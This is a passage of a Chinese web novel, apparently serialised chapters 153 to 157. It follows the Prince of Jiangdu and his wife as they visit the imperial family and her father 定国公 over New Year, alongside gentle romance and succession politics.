百里漾只好带着颜漪离开宣室殿往椒房殿过去。一路上,想到皇帝的状态,百里漾心中不免多了几分沉重,不由得显出一些在面上,叫颜漪看去,无奈宫中人多眼杂,只能轻扯衣袖以温柔的目光无声安慰他。 百里漾不想王妃担心,何况马上就要见到阿娘了,怎么带着愁容去。他很快将对皇帝身体的担忧暂时压下,对着她扬起笑容,一道携手往椒房殿去。 崔皇后早就收到了幼子与儿媳抵达湛京的消息,算着时间等他们来。眼见小夫妻俩相携而来,极为欢喜,再看二人到自己跟前齐齐下拜,口称“阿娘”,面上的笑容更是没有消下去过,赶紧让他们起身,再叫身边的宫侍为二人备座备茶上点心。 “一路可还好?”崔皇后关心道。 入京就要行路,虽说皇帝给诸侯王们进京的时间很是充裕不至于需要赶路,但行路总是辛苦事,一路上的颠簸是免不了的。崔皇后也是怕儿子与儿媳累到了。 “阿娘放心,一路过来还算太平,我与七娘皆好。”百里漾看了身边的王妃一眼,主动先回道。阿娘是母仪天下的皇后,非一般的婆母可比,且王妃与阿娘相处不多,他担心她紧张不适,这才先回答了。 百里漾自然是好意,只是他这一番维护照顾媳妇的举动被崔皇后清清楚楚地看在眼里,不由笑意更深,心中亦十分宽慰。 当初五郎与定国公之女成亲算得上是颇为突然仓促,虽然那时婚仪举行得很顺利,可作为母亲,崔皇后如何看不出来五郎心中实则是抵触与不愿的。她盼着幼子的婚姻能够顺遂美满,自前年他们离京前往江都后便一直忧心着此事,后来从江都传来的消息都在说着幼子与王妃如何恩爱和睦,才令她慢慢松了这口气。 如今两人相携而来,举止间多默契,相视时眉眼含笑,更是一副柔情似水、心意相通的模样,可见夫妻之间确实琴瑟和鸣、异常恩爱。崔皇后才彻底不担心幼子婚后生活不幸福了。 崔皇后默默观察百里漾与颜漪之间的相处,百里漾也在观察自家阿娘的面色气态。实在是在宣室殿那里见着清减病态许多的皇帝阿爹让他吓到了,而皇后本身身体也不太好,长年服用着汤药,他远在江都不能时常得见阿娘,心中其实一直挂念着,也担心她身体情况恶化。 百里漾在与崔皇后谈话间细细观察了,他阿娘的面色大体上来说还是红润的,颜色很自然,并没有依靠妆容修饰出来的僵硬与违和。且阿娘的精神头也很好,拉着他们闲话家常许久也不见疲态,可见身体应是大安的。虽是如此,百里漾也未完全放下心来,而是想着过后去问问太子长兄或者长姐。 二人用了茶点,说话间崔皇后提起崔栋生的儿子阿圆,言语间颇为关切,问了阿圆的一些情况,如康健活泼与否、长得像崔栋还是卢氏之类的。阿圆作为如今崔家第三代的第一人,还是长子长孙,他差不多就代表了崔家的未来,且阿圆论辈分还要管崔皇后叫一声“姑奶奶”,崔皇后对这个未曾谋面的侄孙子也是有几分稀罕的。 “看着圆头圆脑,吃得胖乎乎,有人的时候就转着一双大眼睛滴溜溜地到处看人,他还不喜欢表兄抱,表嫂或是七娘抱他,他就咧着张没有牙的嘴乐得口水直往下淌。”百里漾笑着给崔皇后说一些阿圆的趣事,但说的不怎么细致,毕竟他也不是孩子的爹妈,能天天见到阿圆。等后面崔栋也是要来拜见崔皇后的,就让他自己与崔皇后说仔细些了。 只是这么听着,崔皇后就有点心痒痒的,很想亲手抱一抱阿圆。可惜的是阿圆还在江都,要见到还要等日后。虽有遗憾,也总归是小遗憾,反正日后总能见到,崔皇后也不执着于眼前。倒是眼前的这对小夫妻,至今还未有消息传来,这让崔皇后不免忧心。 只比他们成亲稍稍早了半月余的崔栋和卢氏夫妇孩子都生出来了,五郎这边却连个信都没有。若是没有对比还好,可是一有对比,崔皇后就有些忍不住想要催生了。 崔皇后不说话,但那眼神一直看着百里漾,相信他能够意会到自己的暗示。 百里漾,百里漾只当自己没看到,坚决不回应阿娘,不管是言语还是目光。他知道阿娘盼着他与王妃能够尽早地诞育子嗣,但是生孩子这事吧,得看缘分,他与王妃的身体都很康健,他们之间的夫妻生活也、也挺和谐的,一直没有消息只能说是缘分未到。 在这一点上,他并不想给颜漪过多的压力。 幼子假装没有看懂自己的暗示,崔皇后只能叹气,想着他们一入京城便紧着进宫拜见,一路车马劳顿很是辛苦,没多久便让他们回江都王宅休整去了- 作者有话说:更新啦,求评论[可怜] 第154章 定国公 百里漾与颜漪从椒房殿中出来之后, 想着都进宫了,不往东宫去拜见太子与太子妃也说不过去,于是脚步一拐就往东宫去了。 太子提前收到了他们要过来的消息, 已在东宫候着他们了。太子见到二人很是高兴,“五郎、弟妹回来了。” “拜见长兄、阿嫂。”百里漾与颜漪对着太子与太子妃齐齐行礼道。 “不必多礼。”太子叫他们免礼,问了他们一路进京可顺利,又让太子妃带阿荧过来拜见五叔与叔母。 阿荧今年已经五岁了,正是活泼好动的年纪, 宫里最大的几位都疼爱她, 而受宠的孩子总是比寻常的孩子开朗外向许多。这次时隔一年多再次见到百里漾这位五叔也不认生, 上前脆生生地给他与颜漪行礼。 百里漾也有点惊喜,没想到小侄女还记着他, 抱了抱阿荧,还跟小姑娘说自己这次回来带了许多毛绒绒的布偶回来送给她, 只是这次进宫有点匆忙,下次见面再带给她。 阿荧听着眼睛都亮了, 还记着礼仪一本正经地敛着小裙子给百里漾与颜漪道了谢。 真是太可爱了。 在东宫与太子一家说了会儿话, 太子想着他们一路进京辛苦让百里漾与颜漪回王宅休息, 他们兄弟日后再叙话也不迟。 这次诸侯王回京朝献是这么些年以来头一次,也是百里氏的人头一次能聚在一起过年,皇帝将诸侯王返回封地的时间定在出了正月之后,意味着百里漾他们少说也能够在湛京待足一月的时间,所以太子才说不急于一时。 行路辛苦,百里漾两人也确实是累了,之后坐了不到一刻钟便向太子一家三口告辞了。 在百里漾进京之后,其余几个在外的诸侯王也陆续抵达湛京。与百里漾一般,他们入京之后的第一件要紧事就是进宫拜见帝后, 随后就开始了各种设宴或是赶赴他人宴请,将之前联系上的人情关系走动起来。 人情关系是需要维护的,不管是出于感情还是基于利益结成的。诸侯王长期在外,远离湛京,真要有个什么事也是鞭长莫及,这时候就需要有人说话办事或是周旋一二了。而这些人情关系不趁着这时候搞好,还要等到何时。 百里漾亦是如此,只是他不像定安王那几个那么喜欢宴请朝中权贵或是赴他们的宴。 当然,他也有与朝中的一些臣子有往来,但没有那般频繁,这种事情做多了也不好,让人看来难免有与大臣结党营私之嫌。他一在外的藩王,与大臣交往甚密终究不是什么好事,容易犯了忌讳,引起不必要的猜疑。 与大臣交往这块并没有耗费百里漾多少心神,他需要应对的是亲友这一块,舅舅家大将军府他与颜漪自是要去拜访过的,还有就是定国公府那边,也是不能不去的。 这次比之前任何一次去定国公府都不同,因为百里漾除了要拜见岳母曹氏之外,还有岳父定国公颜定山。没错,此前一直在外驻守边疆的定国公以及长子长媳此次回京过年了。 因为大衍已与离渊盟好,离渊对大衍边境的威胁暂时解除了,皇帝于十一月末召回了一批将领,其中就有定国公及其长子颜青柏。 前年百里漾与颜漪成亲时定国公因军务在身不能回京,此次回来,百里漾必然是要去拜见这位岳父的。怎么说他娶了人家女儿,总要回去给定国公看看女儿嫁人之后是否过得好。 在去往定国公府的路上,百里漾表面镇定,实则心里是有点慌的。按理说不应该如此的,这种类似于“女婿见丈母娘”的心情要有也该是在成婚之前,如今他与王妃成婚分明都有一年多了。 “大王。”颜漪握上百里漾的手,轻唤了一声。 百里漾差点吓了一跳,反应过来是王妃之后,他吐出一口气,用目光表达询问。 “大王无需紧张,阿爹在家中向来和气。”颜漪忍住笑意安慰道。 “嗯,我知道的,我不是担心、担心这个。”百里漾后知后觉反应过来自己的紧张焦虑被王妃看破了,强撑着不愿意承认。 他没有必要紧张的,即便定国公对他不满也改变不了颜漪已是江都王妃的事实,再说了,他应该是没有亏待王妃的,作为女婿,他还是称职的。 嘴硬掩饰的大王看着有几分可爱,颜漪知道他在意自己才会如此,心中无限柔软,握着他的手不放,给他力量与安慰,温声道:“我会一直在大王身边的。” 这句话好似有一股神奇的力量注入,百里漾竟慢慢地不觉紧张了,再次吐出一口气却是如释重负的感觉,他回握住王妃的手,眼神坚定,告诉颜漪他不再怕了。 时间刚刚好,不多时行进的马车停下,外面传来侍从告知的声音,“大王,王妃,定国公府到了。” 百里漾已从马车行进中不停浮摆的车帘缝隙看到了定国公府正门处一群人正翘首以待,他看得出王妃心中亦是有些迫切的,说道:“岳父岳母他们都在等着了,我们下去吧。” 依旧是百里漾先下,等颜漪出马车后伸手扶她下来。定国公府的众人眼见百里漾从马车中出现,纷纷上前来迎,见此情景不由放慢了脚步,等二人皆下了马车转过身来,他们也至跟前拜见了。 百里漾朝最前面的定国公与曹氏夫妇拱手行了家礼,只道皆是一家人,让他们不必多礼。 门口不是说话的地方,定国公府的众人忙将二人请进府去。他们一路走一路说话,定国公府的人大体分了两拨,一拨主要是男眷,他们的注意力多在百里漾身上,一拨也是女眷,她们更多关注的是颜漪,观她的气色容态,想以此知道她这一年多在江都过得好不好。 虽然这一年多时不时有信件从江都传来,颜漪在信上皆说自己在江都过得很好,让他们不必忧心。可怎么可能不忧心呢?儿行千里母担忧,何况颜漪是孤身远嫁至江都,身边更无一亲人可以依靠,倘若受了委屈,却报喜不报忧,他们也无从知晓。 男人们在前面说话,曹氏则拉着女儿的手将她看了又看,担心看到女儿过得不好的痕迹。好在颜漪气色很好,面色红润,称得上是容光焕发,瞧着在江都的日子确实过得很好。 曹氏想起方才自己所见到的女婿待女儿的用心与呵护,心中的忧虑才彻底放下,轻拍着女儿的手背,“看你过得好,我便放心了。” “阿娘可好,家中一切可好?”颜漪眼眶也有些热,好险没有落下泪来。离家日久,若说不想家是不可能的,正如母亲曹氏挂念着她一般,她也在挂念着家中人。 旁边的曹氏长媳以及二儿媳看着母女俩叙完话适时上前表达自己作为嫂嫂对小姑子的关心,长嫂冯氏说道:“看七娘过得好,我们这些做兄嫂也能放心了。” 冯氏年近三十,生得面若桃李,眉眼间却有一股寻常女子没有的坚毅大气,很有世子夫人、大家宗妇的气度。她是长媳,之前陪伴丈夫颜青柏随军,也是前段日子才随定国公父子回京的。前年颜漪成婚时她也未能回来观礼,却从自己的嫁妆中挑了不少贵重之物令人送回来给颜漪添妆。 颜漪对这位长嫂也是敬重居多,彼此也有几年未见了,如今再见,双方并无生疏,说话间也极为自如亲密。 女眷这边其乐融融,百里漾被定国公府的男人们围着,表面镇定实则心中是有点慌的。他身边就三个人,岳丈定国公颜定山、大舅兄颜青柏与二舅兄颜青梧。 二舅兄颜青梧之前是见过的,彼此有点熟悉,百里漾并不怵他,之所以有些慌是因为定国公与其长子正在以一种审视的目光看着他。这种审视并不明显,只是更多的是以一种隐晦的目光在打量他,打量他这个女婿/妹夫合不合格。 百里漾是见过定国公的,作为皇帝倚重信赖的肱骨之臣、国之栋梁,但凡他在湛京,必然会经常出现在皇帝身边。而在封王就藩之前,只是五皇子的百里漾在皇帝身旁见到他的次数并不少。只是那个时候估计谁也没想到自己会成为他的女婿吧。 作为武将统帅的定国公身材高大魁梧,气势也如同山岳般雄浑威沉,眉骨颧骨颇高,一双眼睛尤为深邃,“不怒自威”四个字在他身上得到了极为生动的展现,如同卧虎盘踞,无人敢试其威。 颜青柏三十岁出头,他也是武将,长得与其父定国公有五六分的相像,尤其是眉眼那一块,连同气势也有几分相似,不愧为将来要继承定国公爵位之人。 百里漾面上淡定与定国公府父子说话,从朝政说到家事,渐渐的也能自如应对了。等颜漪她们女眷那边叙完话过来请他们去用饭,看到的便是翁婿几人相谈甚欢的场景。 用过晚饭之后,百里漾与颜漪便提出告辞了。马车内,百里漾看着颜漪恋恋不舍的模样,不由说道:“若是不舍得,回去住几日也无妨。” 只是王妃回定国公府去住了,他便要独守空房了。想想真是不舍得,可是他更不愿意看王妃难过。嫁给他,注定了王妃日后与家人相处的时间会少很多,便如去年,一年到头也见不上家人一面。他与王妃未来还有很多时间可以朝夕相处,不必紧着眼前的这几日。 百里漾这样想着很快把自己给安慰好了,他握着王妃的手,眉眼舒展说道:“许久不见,岳母他们定然也很想念你,回去陪陪他们也好。岁除迎新,不就是该阖家团圆的么。”- 作者有话说:更新啦,求评论[可怜] 第155章 态度 颜漪动容, 可也看到了百里漾明明对她不舍却还要放她回家小住,心瞬间柔软化成一滩水,调笑道:“大王可别等我回去后偷偷在被窝里抹泪哦。” “怎、怎么会?!”百里漾瞪大了眼睛, 佯怒道,“我堂堂一朝王侯,岂会因这点小事就哭鼻子。你且放心去,在家待足了我再去接你回来。” “大王息怒,妾身失言了。大王英明神武, 气概堂堂, 岂会作小女儿情态。”颜漪赶紧顺毛安抚道。 百里漾也不是真的生气, 不过可能王妃还正说中了一点,夜里她不在身边, 他怕是要辗转反侧、孤枕难眠了。王妃还没有回去,他就已经不舍得了怎么办?可不舍归不舍, 他若是表现出来了,反倒会让王妃为难。 如此, 颜漪回定国公府小住的事情定下。回到江都王宅之后, 百里漾叫来长史备下礼物, 届时随王妃一同带回定国公府。初禾得知此事先是一喜,随即下意识去观大王的神色,见他并无不悦后,欢喜转身去为王妃准备回去小住所需的物品用具了。 另一边,百里漾与颜漪离开定国公府之后,定国公将两个儿子叫到了书房之中。颜青和颜青梧兄弟俩进了书房之后静立不言,等待着父亲发话。 “今日你们妹妹回家,江都王你们也见着了,你们如何看待?”没让他们等多久, 定国公便发问道。 先回答是颜青梧,他没怎么想就回道:“我瞧着五王挺好的,他待妹妹好,那一切都是好的。” 江都王虽然是皇子,身份高贵,可他们定国公府的女儿也不是什么可以轻贱忽视的,若江都王慢怠磋磨他们家女儿,定国公府也不是好欺负的。好在江都王瞧着是个良配,他待妹妹好,颜青梧就满意。他是这般想的,只是他一说完就感觉长兄似乎瞪了他一眼,摸摸鼻子,满头疑问。怎么,他说错了?也没有说错啊。 顾青柏看向弟弟的目光颇有几分恨铁不成钢,他向来是知道弟弟偶尔是有些憨直的,对朝政上的事情嗅觉没那么灵光,本以为入仕途几年会有所长进,没想到还是如此。 阿爹唤他们来书房若仅仅只是问五王是不是一个好的颜家女婿就不会让他们来此了。五王固然是他们家女婿没有错,可他还有一层重要的身份是国朝藩王,更是椒房所出、太子胞弟。 如今东宫的情形如何人皆有目共睹,日后江都王登上那个位子的可能性极大。可这也只是可能而已,在最后的结果没有出来之前,谁又能真正说得准呢? 他们颜家如今嫁了一个女儿过去给江都王为妻,相当于是将定国公府绑在了江都王这艘大船上,尽管这是出于陛下的授意,可不论私情,他们总要评估一下这艘船品质如何、会不会有翻船的风险。 阿爹真正要问的是这个,也就二郎憨傻憨傻的,想都没有细想就答了。 “儿子瞧五王是个好的,诸王之中就属他最有气象。”颜青柏一番深思之后,回答道。 气象,什么气象?自然是为君的气象。 陛下如今长成的几个儿子之中,除去太子,定安王最为年长,勇武好斗,自视甚高,没少上蹿下跳;山阳王平平无功,不怎么引人注目;长夏王,荒谬多嬉,那就不是一个好玩意,时人提起无不鄙夷斥骂的。 唯有江都王,坐镇一方,仁恤爱民,颇有治绩,俨然有圣主明君之象。当然,后面这话是不能说的。陛下与太子还在呢,即便谁都知道太子身体不好,可大家也是心照不宣居多。 颜青梧一听这话瞬间就明白方才长兄瞪他一眼是因为什么了,缩了缩脖子,决定老老实实地听父兄二人说话。 定国公看了一眼下首的两个儿子,将他们的神色尽收眼底,长子自幼跟在他身边,对于长子他是满意的。至于次子,算了,本身这个儿子的资质就比长子差些,家中已有长子顶立门户,次子这般也算可以的了。 “五王既是你们妹妹的夫婿,亦是一方诸侯王,与之相处时切记要把握分寸。”定国公郑重吩咐两个儿子说道。 “是,谨遵父亲教诲。”兄弟俩齐齐应道。 话不用说得太明显,他们家通过与天家是与椒房绑在一边的了,如今椒房的优势仍旧很大,江都王看着也是个不差的,局势于定国公府还是比较稳当的。 他们家这样的权势,储君之争、皇位更迭是无论如何都避不开的。因此更要谨慎,哪一方值得辅佐更要经过慎重考量。 定国公作为皇帝的心腹之臣,比一般人更能琢磨皇帝的心思,陛下如今还是更属意东宫的。即便东宫不成了,也还有江都王,而江都王瞧着是有气量气度在的。以目前来说,无论是作为女婿还是作为辅佐的对象,定国公这边对江都王都是满意的。 虽然定国公府不会不欢迎颜漪回去小住几日,但出于礼数,百里漾这边还需要派人到定国公府去说一声。曹氏最为惊喜,这正与她所想的不谋而合。原先曹氏便想着女儿出了正月就又要返回江都,母女俩怕是又要一年才得再相见,不如趁着这段时日让女儿回来住几日,她们母女俩也好多说些体己话,父女也能多些相处的时间。 曹氏有想法,正欲与女儿说呢,转眼就达成了心愿。在得知是女婿主动提出的,她心中对百里漾这个女婿就更加满意了。 颜漪一直在定国公府住到除夕前五日方回。在此期间,百里漾挺不习惯了,他生活的方方面面都渗入的王妃的身影与气息,王妃不在家,不免觉得空落落的,夜里抱着被子辗转反侧,想着王妃这会儿是否睡着了。想着想着,不知道什么时候睡着了。 好在这段时间百里漾是有不少事情要做的,将自己充实了,也不会得空了就思念王妃,想将人接回来。 淄川王与越国长公主是百里漾的长辈,一年到头也见不上什么面,这次回来他也得去拜访他们。这事光他一个人去不行,得与王妃一道去才显得敬重。先递上拜贴约好日子,之后再去定国公府接王妃一道前往- 作者有话说:更新啦,今天有点少。[可怜] 第156章 撞见 快过年了, 湛京城内是越来越热闹了。家家户户忙着置办年货,市集每日从开市到闭市一直都是熙熙攘攘、人满为患。生意红火的店铺忙碌到人手不够,紧急又招了一批过来帮忙。工钱开到了平日的三倍至五倍, 即便是如此也只是勉强应付得过来。 一些人情往来多的人家不仅要为自家置办年货,还要置办走亲访友的各种特产礼物。每次来市集采买都是用车拉,有时候一两辆还不够用,甚至一日还得来好几趟才能将年货全部拉完。各处酒楼的生意也是火到爆,各家都要订酒订餐, 弄得后厨师傅铁锅抡大勺一整日就没怎么停下来过, 负责送酒送餐的伙计更是跑断了腿, 一日下来鞋都要磨掉一双。 百里漾这回要留在湛京过年,朝献的事宜已经交由朝廷有司走完了该走的流程, 余下的便是操持这个年怎么过。但置办年货此类的事情也有底下的长史领着人去办,百里漾只需要拿定一些大的方向和章程就足够了。他更多的是往皇宫里跑, 陪皇后说说话,见一见皇帝联络一下父子感情, 或是到东宫与太子聊些朝政、拉拉家常, 不然就是到栎阳长公主宅去拜访长姐百里澄。 是的, 百里澄已经不住在皇宫里了。从去年六月中的某一个吉日,百里澄就从宫中搬到了宫外的栎阳长公主宅居住。以未出阁的皇女身份搬出宫,百里澄还是头一份。朝臣们很有意见,但皇帝对他们置之不理。 栎阳长公主宅坐落在靠近皇宫的一块寸土寸金的地段上,占地广阔,规格更是比照各大王宅来建造的,甚至部分还尤有超出。建造之时还有大臣上奏说逾制,但皇帝依旧置之不理,太子爷不作声, 那些大臣讨了个没趣,悻悻退下了。 百里漾登门拜访长姐,长公主宅的长史亲自将他迎至一处暖阁。 至暖阁外,迎面恰好走来一面年轻男子,他没想到会在门外撞见百里漾,神色略显不自然,但很快就淡定朝百里漾拱手行礼,“臣闻夏拜见大王。”长史亦对其微微拱手,算是问好,态度很是客气。 闻夏? 这名字听着有几分耳熟。不止名字,就连这张脸看着也似曾相识。可还没等百里漾彻底想明白,闻夏便道:“长公主已在暖阁内等候大王。” 百里漾颔首,看着闻夏告退离开,自己则继续往暖阁走去。一路上他一直在想闻夏这个人,想到长史方才对待闻夏客气中带着几分恭敬的态度,不由问道:“方才那人是长公主宅中的僚属么?” 这时候的皇子皇女出宫开府是可以在宅邸中置官吏僚属帮忙打理宅邸中的事务的,如长史之。他们虽说在王宅或公主宅中任职,可是本身也是有品级的官吏,享受朝廷薪俸。 百里漾觉着既然闻夏能够出现在这里,估计是栎阳长公主宅中的僚属。 长史闻言却是迟疑了,这个问题于他而言并不难回答,但却不好回答。这事涉及到长公主的私事,即便发问之人是长公主的胞弟,他也不敢擅自做主将闻夏与长公主的关系泄露给五王知道。他只能答道:“此人并非是长公主宅中僚属。” 余下的就让五王自己琢磨或去问询长公主了。 不是么。 百里漾将长史的为难看在眼里,也没有强人所难非要问个明白,但长史这态度显然不太对。他更疑惑不解了,越是疑惑就越是想弄清楚,使得他踏进了暖阁还在想这事。 入得暖阁深处,见到了长姐,百里漾脑子里怎么也连不上的两条线突然“嗒吧”一声接上了,他想起来在哪里见过闻夏了。 长夏王酒醉当街纵马那一回,当然这不是最重要的,重要的是前年中秋,他与王妃夜游湛京时在河岸放河灯遇见了长姐,那时她身边之人不就是闻夏么?! 那时候百里漾就觉得闻夏与长姐之间的关系不太一般,一年多过去了,人就已经能够登堂入室了?而且看长公主宅的长史对待闻夏的态度就知这情况不是一日两日才有的。 “杵在那发什么愣?还不快过来。”不远处百里澄唤了一声,将百里漾唤回神,他这才继续抬步朝里走去。 暖阁里气温暖融,百里漾从外面进来不多时就出了点汗,将身上的裘衣大氅脱下递给旁边上前来的侍女,随后走到百里澄身边,看她在侍弄一株花草。 “有话直说,作何犹犹豫豫。”百里澄瞥了一眼神色纠结的弟弟,说道。 “我方才在门前遇到闻夏了。”这事想想也没什么不好说的,不就是谈个恋爱么。于是百里漾便开口说了一句。 “哦,那他是个什么反应?”百里澄来了兴味,反而问道。 百里漾没有想到长姐第一关注的竟然是这个,回忆了一下,描述道:“有些惊到,神色颇为不自然,但很快便自如了。”其实好似脸上也有薄红,但他不确定是不是突然从温暖的室内走出室外骤然受冷所致。 闻夏的反应给人的感觉就很像是地下恋情被人突然撞破之后才有的。 “他只是脸皮薄,多见你们几次就习惯了。”百里澄说道。 也是。百里漾下意识地点头,点到一半猛然睁大眼睛,这才意识到长姐说了什么。 “阿姐是要招他当驸马么?”好半晌百里漾才问道。以他长姐的性格,若只是单纯谈个恋爱、找个面首,没有必要同他说这些话,这分明是在向他这个弟弟介绍闻夏的新身份——一个基于她才有的身份。 “你觉得他如何?”百里澄依旧没有直接回答这个问题,又抛出一个反问。 百里漾想了想自己几次见到的闻夏,心里总有一种说不上来的奇怪感觉,但到底也只是猜测而已。至于真实情况如何,长姐作为当事人不会不清楚。 “阿姐觉得他好便是好。”百里漾最终说道。 毕竟与闻夏在一起的又不是他,日子是长姐自己过的,伴侣总要挑选出合自己心意的。看长姐眉眼间透出来的愉色,显然是很喜欢那个闻夏了。 “五郎真是贴心。”百里澄夸赞了弟弟一句,接着神色间染上了几分认真,说道,“我觉着他就挺好的。” 百里漾懂了。看来这日后见到闻夏便不能等闲视之了,得拿他当自己姐夫看待了。随即他又想到一件重要的事情,“这事阿爹阿娘知道么?” 找面首是一回事,招驸马就又是一回事了。前者可以当是只谈恋爱,后者就是要缔结婚约、昭告天下了,须在帝后那里过了明路得到认可方可。 “人家还没有答应做我的驸马呢?”百里澄说起来并无半点怨怒之意,面上绽开的光彩更像是满足于现有关系带来的乐趣,“反正人也逃不出我的手掌心。” 百里漾默然。不知道为什么竟有点可怜那位未来姐夫了。不过这到底是是长姐的私事,他这做弟弟的也不好管太多,于是就把这个话题先略过去了。 “你媳妇没有同你一起来么?”百里澄侍弄要手上的那株花草,将它碰到内里的花房放好,转过身来坐到外间的圈椅上,问道。 “定国公难得回京,王妃与他父女多年未见,便留在了国公府住几日。”百里漾说道,一面分别给自己与百里澄倒了一杯茶饮。 百里澄道:“定国公这趟回来,日后估计会长期留在湛京了。” 百里漾:“北面离渊的威胁暂时解除,陛下召回定国公亦属正常。” 作为长期手握兵权的在外将帅,定国公的存在一直为人所忌惮,朝臣中更是有不少曾谏奏皇帝不宜对定国公过于放心,即便不收回兵权也当节制其兵马。但皇帝对于定国公的信任超出了朝臣们的想象,朝臣们劝谏无果却也不曾放弃。 “是啊,边患已除,剩下的就是内里的事情。”百里澄看向百里漾说道。她的眸光微深,里面透露出的未尽之语让百里漾心惊。 大衍外部的威胁是离渊,如今两国盟好约定互不侵犯,使得大衍今后能将更多的精力转向对内。而当下的大衍内部面临的最大问题是什么?是皇帝已经老去,皇子们已经长成,不少更是羽翼丰满,早早觊觎起了皇帝身下的那把椅子。而对于底下儿女们的心思,皇帝难道就一点也不知么? “这次难得在京中过年,你有空多往宫里走走,陪阿爹下下棋,请教一些治理封国的问题,他会很高兴的。”百里澄对弟弟说道,末了又补了一句,“但你可别像老三似的,一天要往宫里跑五六趟,恨不得直接住在宣室殿了。” 说起定安王,她眼眸中似有淡淡的嘲讽- 作者有话说:更新啦 第157章 过年前 百里漾对定安王三不五时就往宫里跑的行径观感颇为复杂。定安王打着尽孝的名义入宫确实无人可以指摘他的孝心, 但他真的单纯地只是想尽孝道么?不见得吧。 如今这整个湛京谁不知道定安王有做太子的雄心,再看他殷勤进宫的做派,谁还不知道他打的是什么主意。别人怎么想暂且不论, 但这对于与太子同母所出的百里漾与百里澄姐弟来说是挺恶心的。 偏偏他们还不能因此就阻拦定安王不让他入宫,说不得定安王就等着他们有所动作而趁机给他们上眼药水,对陛下暗示说椒房与东宫没有容人之量,连兄弟都容不下去。 有时太子难做便是如此,有些事情其他兄弟做了, 明明知道他们不安好心, 太子却不能说什么做什么。且这次定安王针对的还不只是东宫, 而是他们整个椒房一脉。 定安王的行为本质上来说是在争帝王之宠。谁说皇子就不需要争宠的?作为皇子就更需要争宠,因为帝王的宠爱对于天然拥有继承权的皇子们而言带来的是权力, 它有时候甚至还能决定谁能够继承帝王的一切——幅员辽阔的帝国以及至高无上的权力。 百里澄让百里漾也挑些时间入宫去看望皇帝,虽不必如定安王一般殷勤过头, 可若去得少了,又有定安王这么个显眼包做对比, 让皇帝觉得百里漾不如定安王贴心孝顺就不好了。 “你有心, 阿爹也会看在眼里。”百里澄又道。皇帝阿爹对他们三个的疼爱不是作假, 五郎在外就藩他也是不时念着的。 “我知道的,阿姐。”百里漾微抿唇,说道。 这次他会来很明显地发现阿爹确实老了,白发都比黑发多了,掺杂间几乎都要看不见黑色了。以往高大的身躯也变得松垮下来,身形亦消瘦了不少。这几年阿爹的头疾似乎发作也愈发频繁了,近两年更是多次将国事交由太子长兄处理。这一切都在说明皇帝阿爹老了,他已经走向迟暮,寿数也不知还有多少。 向来帝王鲜有长寿的, 能至五六十者已算是高寿了。皇帝阿爹当年打天下时是一名骁勇善战的猛将,多次亲自带兵上阵杀敌,屡建奇功。可上战场就没有不受伤的,当年留下来的陈伤暗疾在盛年时因为强壮的体魄而无碍于身,至年老时却因身体机能的衰退而逐渐爆发出来。 盛年时的陛下能够做到挽弓连发十数而不见力竭,如今却是连发三箭都有些勉强。 人终有一死,即使是帝王也不例外。百里漾明白这个道理,只是到要面对的时候,却生出了不愿意面对的退却之心。这一世的皇帝阿爹虽然不只是他一个人的爹,但待他的好却不是假的。 “阿姐在这儿住着可顺心?”将那些愁绪抛开,百里漾关心起了长姐的离宫后的生活。 “各处都挺好的,搬出宫来住,有方便之处,亦有不方便之处,凡是都难有两全之法。”百里澄说道。 这不方便之处百里漾可以理解,毕竟栎阳长公主宅离皇宫再近也只是直线距离,真正从长公主宅到皇宫也有挺长一段路要走的。东宫太子长兄那还需要长姐辅佐,更别说还要时不时入宫给帝后请安,这一来一回也颇为耗费时间。 方便之处也是有的,至少不用像在宫内似的一举一动都有可能被人注视着,不管是有意还是无意的。想做些什么不愿意让别人知晓的事情也能方便许多。 不知怎么的,百里漾想起了之前在门外撞见的闻夏,心里默默想着阿姐指的方便之处恐怕还得加上一条——方便与闻夏相会。若是阿姐还住在宫里,闻夏胆子再大也不敢进到宫里去啊。 姐弟俩又说了会儿话,百里澄提到了颜漪,“也有好长一段时间没有见到你媳妇了。赶明儿你将人接回来后到我这来聚聚。” 颜漪未嫁给百里漾之前与百里澄便是闺中密友,一年多未见,小姐妹俩要叙话,百里漾自然不会不答应。 百里漾道:“还有两日我再接她回来,届时再一同登门拜访阿姐。” “她来便是,你就不要来了。”百里澄嫌弃到时百里漾碍事,让他不要来。 “……”被嫌弃的百里漾还能怎么办,只能应是。 “在家待得可开心?”临近除夕,百里漾便亲自去定国公府将颜漪接回江都王宅,上了马车之后,虽然观王妃容色滋润,无一样不好,但他还是想听王妃亲口说才好。 “父母慈爱,兄嫂处处照顾于我,我一切都好。只是……” “只是什么?”百里漾有些紧张,连忙追问道。难道有在他看不到的地方有人欺负她了? “只是夜里有些认床,颇为不习惯。” 这是颇为含蓄的说法了,可百里漾一下子就听懂了。王妃在定国公府中住的是她未嫁人之前的闺房,哪里有什么认床的问题。分明是王妃习惯了他在身侧入睡,这几日他不在,才不习惯的。原来并不只是他想念王妃致使晚上睡不着,王妃也在想他。 百里漾心里突然就美了,他说的就直白些了,上前握着颜漪的手,一双眼睛亮亮的,“王妃不在身边,我亦难安眠。” 互相表达了对彼此的思念之后,百里漾与颜漪同坐一边,自己靠在王妃身上,或是让王妃靠在自己身上,让两个人靠得更近些。 算起来他们这几日并非不是全然没有见面的,除夕将近,百里漾作为女婿是要往定国公府上提前送来年礼的。往年也有,只不过他不在京中,往往都是备好了令左右亲近之人送来。今年他要在京中过年了,最好是自己亲自来,还能与在家小住的王妃见上面。 定国公府很欢迎百里漾来,他是家中女婿,也不怕御史弹劾诸侯王与朝中重臣交往过密。曹氏最是喜欢百里漾这个女婿,她身上自带“丈母娘看女婿,越看越喜欢”的滤镜,每次百里漾来她都亲自来迎,拉着他欢欢喜喜地说话,末了还留他下来用饭再走。 曹氏这几日差不多日日是与女儿住在一起的,母女俩将近两年未见,自然有许多话要说要问,而大部分是询问女儿在江都的日子过得好不好的。 女儿远嫁,一年到头都见不上面,获悉近况只能依靠书信。曹氏盼着收到女儿的书信,却又在打开时害怕从中看到什么不好的消息。所幸,她担忧的那些一切都没有发生。 女儿在江都一切过得都好,女婿是个知道体贴人的,更妙的是身边一个莺莺燕燕、花花草草都没有,他们小夫妇俩只用过自己的日子,这让她女儿省了多少心。 天下母亲都是一个心理,她们对女婿无非就是盼着女婿能够对自己的女儿好。曹氏也是如此,所以她是越看百里漾越顺眼,对他的好一度都越过了其他的子女,有什么好吃好喝好用的都惦记着给他捎上。每次百里漾过来都恨不得给他大包小包塞满马车。 